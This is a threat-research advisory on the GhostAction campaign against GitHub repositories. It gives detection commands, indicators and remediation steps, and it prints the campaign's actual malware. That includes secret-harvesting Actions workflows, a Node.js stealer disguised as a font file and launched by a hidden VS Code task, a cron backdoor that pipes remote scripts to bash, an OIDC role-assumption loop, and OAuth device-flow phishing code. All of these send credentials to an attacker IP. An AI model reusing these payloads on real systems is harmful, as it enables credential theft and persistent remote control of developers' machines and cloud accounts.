CVE
Not assigned
CWE
CWE-506, CWE-522, CWE-829, CWE-1357
Affected Surface
- GitHub repositories, including dormant ones and forks, that any compromised account could write to; GitHub commit search returns about 12,000 repositories with a GhostAction `Add font assets` commit since 14 October 2026
- Developer machines that opened an affected repository in VS Code with automatic tasks allowed, or ran `node public/fonts/fa-solid-400.woff2`; on macOS and Linux the stealer also installs a five-minute `crontab` C2 poll tagged `#ghc2`
- GitHub Actions secrets and every credential pattern in the full git history of repositories whose injected `security-audit.yml`, `github_actions_security.yml`, or second-stage workflow actually ran
- AWS accounts with an IAM role that trusts GitHub's OIDC provider (`token.actions.githubusercontent.com`) broadly enough to accept a token from an attacker-pushed workflow, where the role ARN appears in the job environment
- Self-hosted runners in repositories that received `cache-cleanup.yml` / `cleanup_cache.yml` (`Runner Maintenance` / `Cleanup Cache`), which read host credential files and install the same cron job
- Packages published from affected repositories (for example PyPI and crates.io tokens named in `kitao/pyxel`'s injected workflow) if a run completed before the tokens were rotated
GhostAction started as a GitHub Actions secret stealer: take over an account, commit a workflow to every repository it can write to, and POST the repository’s secrets to a bare IP. That part still runs. In the last week the operator added two things the early public write-ups do not cover. The first is a developer-machine stage that is now in about 12,000 repositories. The second, committed on 20 and 21 October, turns leftover workflows into an AWS role-assumption tool built on GitHub Actions OIDC.
Every stage still reports to the same server, 193.32.204.199.
Timeline of the October activity
| Date (UTC) | What changed | Source |
|---|---|---|
| 8 Oct | security-audit.yml (“Security Audit”) pushed into tens of thousands of repositories. It reads named secrets and greps the working tree and git log -p --all for credentials. kitao and henrywoo accounts sweep 345 to 346 repos, including kitao/pyxel and uber/athenadriver | GitGuardian, StepSecurity, Socket |
| 9 Oct | GitHub starts blocking the malicious workflow from running. my-github[.]com is registered and resolves to 193.32.204.199 | GitGuardian, OpenSourceMalware |
| 11 Oct | Reverse-proxy phishing kit on my-github[.]com silently approves an OAuth device flow with repo workflow read:org | OpenSourceMalware |
| 12 to 14 Oct | Exfiltration moves to port 8080 with date-stamped batch tags | OpenSourceMalware |
| 14 to 16 Oct | Stage 2: second workflow + public/fonts/fa-solid-400.woff2 + .vscode/tasks.json committed seconds apart | OpenSourceMalware (94 repos); our count below |
| 19 Oct | A shorter, untagged 23-line stealer variant appears | Our review |
| 20 to 21 Oct | github_actions_security.yml rewritten with permissions: id-token: write and an AWS AssumeRoleWithWebIdentity loop, batch tags og1, og2, oidc_og2 | Our review |
Stage 1: the git-history scan
The 8 October workflow is short. Here is the copy pushed to kitao/pyxel (commit 97670a55), reduced to its structure. The secret names were templated from the repository’s own workflows, which in pyxel’s case meant its publishing credentials:
name: Security Audit
on:
workflow_dispatch:
push:
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Audit
run: |
out="REPO=$GITHUB_REPOSITORY"
[ -n "CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" ] && out="$out&..."
grepped=$(grep -rEiho "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|sk-ant-[A-Za-z0-9_-]{20,}|sk-proj-...|ghp_[A-Za-z0-9]{36}|github_pat_...|glpat-...|AIza...|xox[baprs]-...|SG\....|aws_session_token..." --exclude-dir=.git . 2>/dev/null | sort -u)
gl=$(git log -p --all 2>/dev/null | head -200000)
hist=$(echo "$gl" | grep -oiE "<same patterns>" | sort -u | head -300)
ctx=$(grep -rEi -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" --exclude-dir=.git . 2>/dev/null | head -150)
hctx=$(echo "$gl" | grep -Ei -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" | head -150)
# ... assembled with AKIA_CTX_START / AKIA_CTX_END markers
curl -s -m 20 -X POST --data-binary "$full" "http://193.32.204.199/?c=monami" || true
Two details matter for responders. fetch-depth: 0 plus git log -p --all means a credential deleted from the tree years ago is still in scope. The -B2 -A2 context around AKIA/ASIA matches exists to pick up the secret access key on the next line. A rotated PYPI_PASSWORD does not cover you if an old AWS key is still in a 2019 commit.
The pyxel owner removed the workflow on 9 October. PyPI shows no pyxel release after 2.9.9 (12 August), so we found no sign that the package itself was republished.
Stage 2: a VS Code task that runs a “font”
OpenSourceMalware described Stage 2 on 16 October from a cluster of 94 repositories. Each one got three commits, under the owner’s identity and a few seconds apart: a second CI workflow (lint.yml, ci-check.yml, build-check.yml, repo-health.yml, audit.yml, code-review.yml, or test-suite.yml), then Add font assets, then Add editor task.
The launcher is a byte-identical .vscode/tasks.json:
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "node ./public/fonts/fa-solid-400.woff2",
"isBackground": true,
"hide": true,
"presentation": { "reveal": "never", "panel": "dedicated", "focus": false, "echo": false, "close": true },
"runOptions": { "runOn": "folderOpen" }
}
]
}
The “font” is plain Node.js. This is the version from the ?c=p16n batch on 16 October (server address left in, since it is the indicator):
var home = os.homedir();
var r = "DEVBOX user=" + os.userInfo().username + " host=" + os.hostname() + " repo=" + (process.env.GITHUB_REPOSITORY || "");
var files = [".aws/credentials", ".pypirc", ".npmrc", ".git-credentials", ".netrc",
".claude/.credentials.json", ".gemini/oauth_creds.json", ".kube/config"];
// first 3,000 bytes of each, then ~/.ssh/id_rsa and ~/.ssh/id_ed25519 in full
// grep -rhoE 'A[KS]IA...|sk-ant-...|ghp_...|npm_...|pypi-AgEIcHlwaS5vcmc...' $HOME | head -30
Object.keys(process.env).forEach(function(k) {
if (/^(AWS_|ANTHROPIC|OPENAI|HF_TOKEN|GITHUB_TOKEN|_API_KEY|_TOKEN)/.test(k))
r += "\nENV:" + k + "=" + process.env[k];
});
cp.execSync("curl -s -m 15 -X POST --data-binary @- http://193.32.204.199:8080/?c=p16n", {input: r, timeout: 20000});
cp.execSync('(crontab -l 2>/dev/null | grep -v ghc2; echo "*/5 * * * * curl -s -m 10 http://193.32.204.199:8080/c2/$(hostname) | bash >/dev/null 2>&1 #ghc2") | crontab -');
The cron line matters most. Every five minutes the machine fetches a script from a path keyed by its own hostname and pipes it to bash. Deleting the font file does not remove that job. OpenSourceMalware also pointed out a bug in the environment filter: every alternative is anchored with ^, so _API_KEY and _TOKEN only match variable names that start with an underscore. The credential files and SSH keys are read directly, and that bug does not protect them.
VS Code runs a folderOpen task only in a trusted workspace, and only if automatic tasks are allowed, either through the one-time prompt or task.allowAutomaticTasks: "on". That gate is the only thing between git clone plus “open folder” and a cron backdoor.
How far Stage 2 actually spread
The public figure is 94 repositories. GitHub commit search suggests a much larger number, so we checked. Using read-only API calls, we enumerated every commit matching "Add font assets" since 14 October in time windows small enough to page completely:
| UTC date | Commits | New repositories |
|---|---|---|
| 14 Oct | 1,485 | 1,485 |
| 15 Oct | 7,653 | 7,644 |
| 16 Oct | 2,631 | 2,618 |
| 17 to 18 Oct | 3 | 3 |
| 19 Oct | 217 | 212 |
| 20 to 21 Oct | 43 | 16 |
That is 11,978 distinct repositories. We then pulled public/fonts/fa-solid-400.woff2 at the matching commit for a random sample of 2,100 of them. All 2,100 were the GhostAction stealer, containing 193.32.204.199, DEVBOX, and #ghc2. None were real WOFF2 binaries, and none were the obfuscated PolinRider loader that uses the same filename. The sample came from 761 distinct owners. The parallel "Add editor task" search returns 11,818 commits over the same window.
Batch tags in the verified sample:
?c= tag | Files | Committed |
|---|---|---|
reinject | 792 | 15 Oct |
p16n | 447 | 16 Oct |
auto_20261015 | 430 | 15 Oct |
auto_20261014 | 384 | 14 to 15 Oct |
| none (23-line variant) | 44 | 19 Oct |
auto_20261021 | 3 | 21 Oct |
The first verified font commit is 2026-10-14T21:40:31Z and the latest is 2026-10-21T04:29:47Z. Caveats: commit search only indexes default branches, it matches some unrelated messages such as victims’ own cleanup commits, and we verified about 18% of the enumerated set. A 2,100-for-2,100 sample makes a large false-positive rate unlikely, but the remaining repositories were not checked one by one.
The 19 October variant is a trimmed copy. It drops .netrc, .gemini/oauth_creds.json, .kube/config, and the home-directory grep, and it posts to http://193.32.204.199:8080 without a tag:
var files = [".aws/credentials", ".pypirc", ".npmrc", ".git-credentials", ".claude/.credentials.json"];
// ...
cp.execSync("curl -s -m 15 -X POST --data-binary @- http://193.32.204.199:8080", {input: r, timeout: 20000});
20 and 21 October: Actions OIDC turned into AWS credentials
On 20 and 21 October the operator went back to repositories that still had a 2025-style github_actions_security.yml and rewrote it. Here is justboyke/afvalalert at db1b40d9 (21 October 00:22 UTC). The new file declares id-token: write at the top:
name: Github Actions Security
on:
workflow_dispatch:
push:
permissions:
id-token: write
contents: read
The run: step then asks the Actions runtime for an OIDC token with an AWS audience, walks every shell variable looking for role ARNs, and tries each one:
TOK=$(curl -s -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
if [ -n "$TOK" ] && [ "$TOK" != "null" ]; then
for var in $(compgen -v 2>/dev/null); do
val="${!var}"
case "$val" in
arn:aws:iam::*:role/*)
j=$((j+1)); [ $j -gt 10 ] && break
RESP=$(aws sts assume-role-with-web-identity --role-arn "$val" \
--role-session-name "secret$j" --web-identity-token "$TOK" --duration-seconds 3600 2>&1)
oidc_out="$oidc_out
OIDCS $val (secret $var)
$RESP"
;;
esac
done
[ "$n_oidc" -gt 0 ] && curl -s -m 20 -X POST --data-binary "repo=$GITHUB_REPOSITORY
$oidc_out" http://193.32.204.199:8080/?c=oidc_og2
fi
curl -s -X POST -d 'PAT_TOKEN=${{ secrets.PAT_TOKEN }}' http://193.32.204.199:8080/?c=og2
This is the first GhostAction payload that does not need a long-lived cloud secret at all. A team that moved from stored AWS_ACCESS_KEY_ID secrets to OIDC federation has nothing for Stage 1 to steal. If its IAM role trust policy only checks token.actions.githubusercontent.com:aud = sts.amazonaws.com, though, or matches sub with a wildcard such as repo:org/*, an attacker-pushed workflow in any matching repository can mint a fresh token and assume the role. The loop gets its ARNs from environment variables, so a role ARN stored as a repository variable or set with env: in the workflow is enough. --duration-seconds 3600 returns one-hour keys, and the whole STS response, including SecretAccessKey and SessionToken, goes to ?c=oidc_og2.
Commit search shows 304 "Add Github Actions Security workflow" and 392 "Update github actions security workflow" commits since 19 October, plus 117 "Add cleanup workflow". In a sample of 60 of the 300 retrievable github_actions_security.yml files, 11 contained the OIDC and assume-role-with-web-identity code. All 10 files tagged og2 had it, against 1 of the 49 tagged og1, so the AWS loop is the newer revision.
The same batch added or updated a self-hosted runner workflow (cleanup_cache.yml, “Cleanup Cache”) in some repositories:
jobs:
cleanup:
runs-on: self-hosted
steps:
- name: Cache
shell: bash
run: |
r="rt=$GITHUB_REPOSITORY h=$(hostname) u=$(whoami)"
for f in ~/.aws/credentials ~/.pypirc ~/.npmrc ~/.git-credentials ~/.claude/.credentials.json; do ...; done
for k in ~/.ssh/id_rsa ~/.ssh/id_ed25519; do ...; done
curl -s -m 20 -X POST --data-binary "$r" http://193.32.204.199:8080/?c=og2
(crontab -l 2>/dev/null | grep -v ghc2; echo "*/5 * * * * curl -s -m 10 http://193.32.204.199:8080/?c=og2/c2/$(hostname) | bash >/dev/null 2>&1 #ghc2") | crontab - 2>/dev/null || true
Note the cron URL in this revision: /?c=og2/c2/$(hostname) puts the C2 path inside the query string, so the request goes to / rather than /c2/<host>. That looks like a template bug, and the server can paper over it by routing on the query. Hunt for #ghc2 either way.
GitHub’s approval gate is still doing a lot of work. In mammarraza/reactapp, the 21 October runs of Github Actions Security, Security Audit, Repo Health, and Runner Maintenance all ended action_required. Repositories that let first-time or outside contributors run workflows without approval, or that run on self-hosted runners with loose rules, do not get that protection.
Access is being refreshed, not just reused
Two of the 94 repositories OpenSourceMalware analyzed removed Stage 1 on 9 October and still received Stage 2 on 15 October. The adydetra/bangcv-flutter history shows the full loop: Add security audit workflow on 8 October, Remove malicious security audit workflow on 9 October, the three Stage 2 commits at 07:48 UTC on 15 October, and three security: remove ... commits that evening. Removing the workflow does not revoke the credential that pushed it.
The my-github[.]com kit shows one way the operator renews access. After proxying the victim’s password and OTP, injected JavaScript requests a device code and approves it through the victim’s own session:
var CID = "Ov23ctrqCqZ79UaYKwyq";
fetch("/login/device/code", {
method: "POST",
body: "client_id=" + CID + "&scope=repo+workflow+read:org"
})
// ... auto-submits /login/device with the user code and authorize=1, then:
fetch("/login/oauth/access_token", {
method: "POST",
body: "client_id=" + CID + "&device_code=" + dc +
"&grant_type=urn:ietf:params:oauth:grant-type:device_code"
})
fetch("https://my-github.com:8443/t?value=" + td.access_token + "&user=" + encodeURIComponent(vu), {mode: "no-cors"})
The workflow scope is what allows writes under .github/workflows/. A single stolen OAuth grant is enough for the next sweep.
Detection
Search your organizations for each stage. Run this on every branch, not only the default:
git log --all --format='%H %an %ad %s' --date=iso | rg -i \
'Add (security audit|Github Actions Security|font assets?|editor task|cleanup|runner maintenance|build check|CI check|repo health|linting|audit|code review|test suite) workflow|Add font assets?|Add editor task|Update (security audit|github actions security|cleanup|repo health) workflow'
rg -n --hidden '193\.32\.204\.199|#ghc2|DEVBOX|ACTIONS_ID_TOKEN_REQUEST_TOKEN.*sts\.amazonaws\.com|assume-role-with-web-identity|"runOn": *"folderOpen"' \
.github/workflows .vscode public/fonts 2>/dev/null
file public/fonts/*.woff2 2>/dev/null | rg -v 'Web Open Font Format'
On developer machines and self-hosted runners:
crontab -l 2>/dev/null | rg 'ghc2|193\.32\.204\.199'
rg -l '"runOn": *"folderOpen"' ~/src ~/code ~/projects 2>/dev/null
In AWS CloudTrail, look for AssumeRoleWithWebIdentity events whose userIdentity.identityProvider is token.actions.githubusercontent.com and whose roleSessionName matches ^secret[0-9]+$. Your own workflows are unlikely to use that naming. Correlate the token’s sub claim (repo:<owner>/<repo>:ref:...) with the workflow file that ran.
Network indicators: 193.32.204.199 on ports 80, 3000, 8080, and 8443; my-github[.]com and *.my-github[.]com; OAuth client ID Ov23ctrqCqZ79UaYKwyq. File hashes published by OpenSourceMalware for Stage 2:
| SHA-256 | File |
|---|---|
cb3842832267421b9563c7bd32d3582a8fff624860e57c2c9058966735d4da60 | fa-solid-400.woff2 (reinject) |
61eca87b4b4c3e6248dc0fde25ff9cf28637798a8c4be172eaef9843252d12f6 | fa-solid-400.woff2 (auto_20261015) |
92dec8f50d934c338ff3c1bcbf1c9b028aa9561128d0077a101a1ef4dac0f0db | fa-solid-400.woff2 (auto_20261014) |
a043f03e89ef55779f4f630138cf5efe1dd37632e176c7a0d9bbfa989ba84eeb | .vscode/tasks.json |
The p16n, untagged, and auto_20261021 font variants differ in their tag string, so match on content rather than these hashes.
Response
- Revoke first, from a clean device. Revoke GitHub sessions, PATs, OAuth grants (especially
Ov23ctrqCqZ79UaYKwyq), GitHub App installations, SSH keys, and deploy keys for any account that pushed one of these commits. Otherwise the cleanup is undone within days. - Remove every stage on every branch and fork: the Stage 1 and second-stage workflows,
cleanup_cache.yml/cache-cleanup.yml,.vscode/tasks.json, andpublic/fonts/fa-solid-400.woff2. - Rotate everything Stage 1 could read. That includes Actions secrets and every credential that ever appeared in git history. For package maintainers, check PyPI, npm, and crates.io release history for versions you did not publish.
- Tighten OIDC trust now, even if you were not hit. Every role trusted by
token.actions.githubusercontent.comshould pinsubto an exact repository and ref or environment (repo:org/app:environment:prod), notrepo:org/*. Where you can, requirejob_workflow_refto point at a reviewed reusable workflow. Then search CloudTrail for thesecret<N>session names. - Clean developer machines. Remove the
#ghc2cron entry, settask.allowAutomaticTaskstooff, and rotate the AWS, PyPI, npm, git, Claude, Gemini, kube, and SSH credentials the stealer reads. A machine with the cron entry has been taking commands from193.32.204.199every five minutes, so rebuild it. - Make the next push harder. Require approval for workflow runs from all outside collaborators, put
.github/workflows/**and.vscode/**under CODEOWNERS with required review, and block direct pushes to default branches.
The OIDC revision is the change most teams have not planned for. Moving from stored cloud keys to federated identity takes away GhostAction’s usual loot, but a role whose trust policy accepts any workflow in the organization gives an attacker who can push a YAML file the same access.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- OpenSourceMalware: GhostAction copycats PolinRider by hiding a stealer in a fake font file
- OpenSourceMalware: GhostAction is now phishing open source maintainers
- GitGuardian: the campaign that never stopped, tracking GhostAction from 2025 to 2026
- StepSecurity: GhostAction returns, malicious security-audit workflows mine entire git histories
- Socket: new GhostAction wave hits hundreds of repos, expanding to cloud credentials
- The Hacker News: GhostAction attackers plant credential stealer disguised as font in 94 GitHub repositories
- kitao/pyxel: injected security-audit.yml at commit 97670a55
- GitHub Docs: configuring OpenID Connect in Amazon Web Services